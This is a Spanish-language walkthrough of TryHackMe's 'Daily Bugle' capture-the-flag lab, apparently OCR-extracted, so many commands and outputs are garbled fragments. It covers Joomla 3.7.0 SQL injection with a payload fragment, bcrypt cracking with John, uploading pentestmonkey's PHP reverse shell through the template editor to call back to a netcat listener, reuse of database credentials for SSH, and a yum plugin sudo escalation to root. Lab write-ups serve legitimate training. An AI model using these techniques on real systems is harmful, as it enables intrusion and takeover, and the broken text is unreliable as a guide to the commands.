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O- Introduccion

Este articulo trata sobre la sala de Daily Bugle creada por TryHackMe. Esta maquina se
encuentra disponible en https://tryhackme.com

1- Enumeracion
El escaneo Nmap es imprescindible para todos los pentester. Esta es una de las formas de
obtener informacion sobre una maquina. Ingrese el siguiente comando para realizar el
escaneo.

18.18@

STATE SERVICE REASON
open ssh syn-ack Op

9d (ECDSA)
AAAATDML zdHAYNTYAAABBEKD+wNoVp4@Nas4/Ycep7p++QQiOmDvP55@0HE61vDdM

nknown favicon MD5: 1194D

Tenemos un total de 6 puertos abiertos disponibles en la maquina que son:

e SSH (puerto 22)
e HTTP (puerto 80)
e SQL (puerto 3306)

2- Enumeracion de directorios ocultos

Vamos a usar joomscan para encontrar el directorio oculto del servidor HTTP. Utilice el
siguiente comando.

http://10.10.224. 30
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https://tryhackme.com/

dministrator/

Aqui encontramos la version de joomla que se utiliza (3.7.0), asi como alguna otra
informacion. Una verificacion con searchsploit muestra que la version es vulnerable a la
inyeccién de SQL.

Exploit Title

! - "com_ ] ion
! Componen as - Cross-Site Scripting

Shellcodes: No Re

Descargamos el exploit 42033.txt y lo abrimos.
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list[fullordering] (GET)
boolean-b
ce (DUAL)
t=modal&list[fullordering]=(CASE WHEN (1573=1573) THEN 1573 ELSE 157
M DUAL) END)

Ahora se nos abren dos opciones, realizar la inyeccion sql utilizando sqlmap o utilizar un
script desarrollado en Python, llamado joomblah basado en la vulnerabilidad existente en
la version 3.7.0 de joomla.

Vamos a utilizar la herramienta joomblah. Ahora deberia tener la tabla de usuarios
volcada, lo que significa que tendra el siguiente resultado:

Tenemos un hash de contrasefia para Jonah. jVVamos a romperlo!

3- Descifrado de contrasenas

Vamos a usar John para descifrar la contrasefia de Jonah (o al menos yo lo haré. Si
prefieres otra cosa, siéntete libre de usarla). Sin embargo, antes de que podamos hacer
eso, vale la pena verificar dos veces para asegurarnos de que sabemos que tipo de hash es
este. Para esto estoy usando name-that-hash —f hash.txt.
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hash.txt

Si, exactamente como se veia: este es un hash de Bcrypt. Parece que nos espera una larga
espera...

Seriamente; si haces esto con rockyou, no se completara en los primeros cinco minutos,
como suele ser la regla para los CTF. Dependiendo de los hashes por segundo de su
computadora, podria tomar entre 7 y 8 minutos y mas de media hora.

El comando para descifrar la contrasefia es el siguiente:
UTF-8

rypt [Blowfish 32/64
is 1024 for all loade

ny other key for status

C/s thebadboy .. spaceship

La contrasefia para el usuario jonah es......

4- Shell reversa
Genial, entonces tenemos credenciales para iniciar sesion en el sitio web. ¢ Ahora qué?

Hagamos uso de ellos.

Vuelva a mirar los resultados de su escaneo joomscan. Notaras que habia un directorio
interesante llamado /administrator. Vayamos alli y echemos un vistazo:
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A Joomlal

Inicie sesién con el nombre de usuario "jonah™ y la contrasefia que encontro
anteriormente. Nos recibe la pantalla de administracion de CMS:

B System . tent + The 8 £ 2.

G Control Panel it Joomial

LOGGED-IN USERS

= Menuis) Super User Adminizsaton & 20220007 1818
L
POPULAR ARTICLES
(
Jl © Spider-Man robs bank! & 201912160000

RECENTLY ADDED ARTICLES

Spider-Man robs bank! Super User B 201912160009

& Viewsto | () vistors | () Adminisaor | () Messages | = Log o joomial 3.7.0 — ©2022 The Daty Bugls

Con un poco de investigacion, descubri que es posible cargar un shell inverso en el
servidor web. Dirigirse a Extensions -> Templates -> Templates en la barra de menu
superior:
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¥ Joomiar

| Styles
) Languagels) T

You have post-installation messages

LOGGED-IN USERS

£ Menuls Super User Admnsiraion

POPULAR ARTICLES

User
L u Spider-Man robs bank! ]
8 Giob RECENTLY ADDED ARTICLES
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Spider-Man robs bank! Super Use: s
=L

o vew v A a Messages | = Log ou

Haga clic en el enlace a la segunda plantilla: "Detalles y archivos de Protostar”, luego
seleccione "Nuevo archivo™:

= C @ QO & 10.10.154.10,

‘@ Templates: Customise (Protostar)

wes
= bt
& images Select a File
— You can select from a number of options for customising the look of your templates. The Template Manager supports Source files, Image files, Font files, Zip
archives and most of the operations that can be performed on those files. Just select a file and you are good to go. Check the documentation if you want to

L know more.

s Documentaticn

ess

Elija un nombre de archivo y seleccione php como el tipo de archivo, luego haga clic en
"Crear"

Ahora, copie y pegue el PHP Reverse Shell de Pentestmonkey en el nuevo archivo
(recordando cambiar la IP y el puerto predeterminados), luego haga clic en "Guardar y
cerrar".
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https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

¥ Joomial

o View sl " Admisisirato " ==

jEstamos listos para ejecutar!

Encienda un oyente de netcat en su puerto elegido, luego navegue hasta el archivo que
cargo. Estoy usando curl pero hacerlo en su navegador web también funcionaria. De
cualquier manera, la URL es http://<machine-ip>/templates/protostar/error.php.

2 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
b
PCPU WHAT
8(apache) gid=48
sh: no job control in thi
2% id

ache) gid=48(apache) groups=48(apache)
hoami

cript /dev/null -c
r/null -c bash
s
home 1ib64 mnt
media opt

lib64 mnt
media opt

5- Explotacion
Indague un poco en esta maquina y vea lo que puede encontrar. Puedes ver que en el
directorio /nome hay un usuario llamado jjameson:

bash-4.2% home

bash-4.2%

Jjjameson

bash-4.2% cd jjameson

bash: cd: jjameson: Permission denied
bash-4.2%
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Esto es genial, pero ain no tenemos su contrasefia, asi que sigamos buscando.

Después de husmear un poco, encontré un archivo en el /var/html/www (es decir, servidor
web) directorio:

Lib lock mai
local 1log nis

README.
administrator
bin

cache

Como el nombre sugiere, configuration.php se utiliza para configurar Joomla, que incluye
elementos como el nombre de usuario y la contrasefia de la base de datos. Como minimo,
esto podria llevarnos al servidor MariaDB, entonces, ¢lo comprobamos?
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Después de comprobarlo, esta contrasefia también funciona en SSH por lo que ahora
tenemos credenciales para iniciar sesion como jjameson:

~

: jjameson@l10.10.154.10

The authenticity of host '10.10.154.10 (10.10.154.10)' can't be established.
ED25519 key fingerprint is SHA256:Gvd5jH4bP7HwPyB+1GcqZ+NhGxa7MKX4wXeWBvcBbBY.
This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.154.10' (ED25519) to the list of known hosts.
jjameson@10.10.154.10's password:

Last login: Mon Dec 16 ©5:14:55 2019 from netwars

[jjameson@dailybugle ~1%

Y dentro del perfil jjameson encontramos el user.txt.

[ ijameson@dailybugle ~1% 1s
user.txt
[ijameson@dailybugle ~]1% cat user.txt

=~ dOEE F Y

[ijameson@dailybugle ~1% I

6- Escalada de privilegios

Como siempre, lo primero que vamos a probar es sudo - para obtener una lista de
comandos que podemos ejecutar como sudo:

Parece que podemos usar sudo para ejecutar Yum: el administrador de paquetes
predeterminado para el cuadro de CentOS en el que estamos. Perfecto. Una busqueda
rapida de gtfobins revela que hay un privesc que usa yum que deberia funcionar muy

bien en este caso:
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[ ijamesona
> [main]
> plugi

[ jjamesonad
[ jjamesond
> [main]
> enabled=1
> EOF
[ jjamesonad
[ jjamesond
> import os
> import
> from PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
> requires_api_ i 1"
> def init_hoo
4 /bin/sh")
> EOF
—enableplugin=y
Loaded plugins:
No plugin match for: y

Y haciendo comprobaciones, vemos que ya tenemos privilegios root. Buscamos la
carpeta root donde se encuentra la flag y ya tendremos finalizada la maquina.

(root) groups=

10

home 1ib 1ib64 media mnt opt proc root rum sbin srv sys tmp usr
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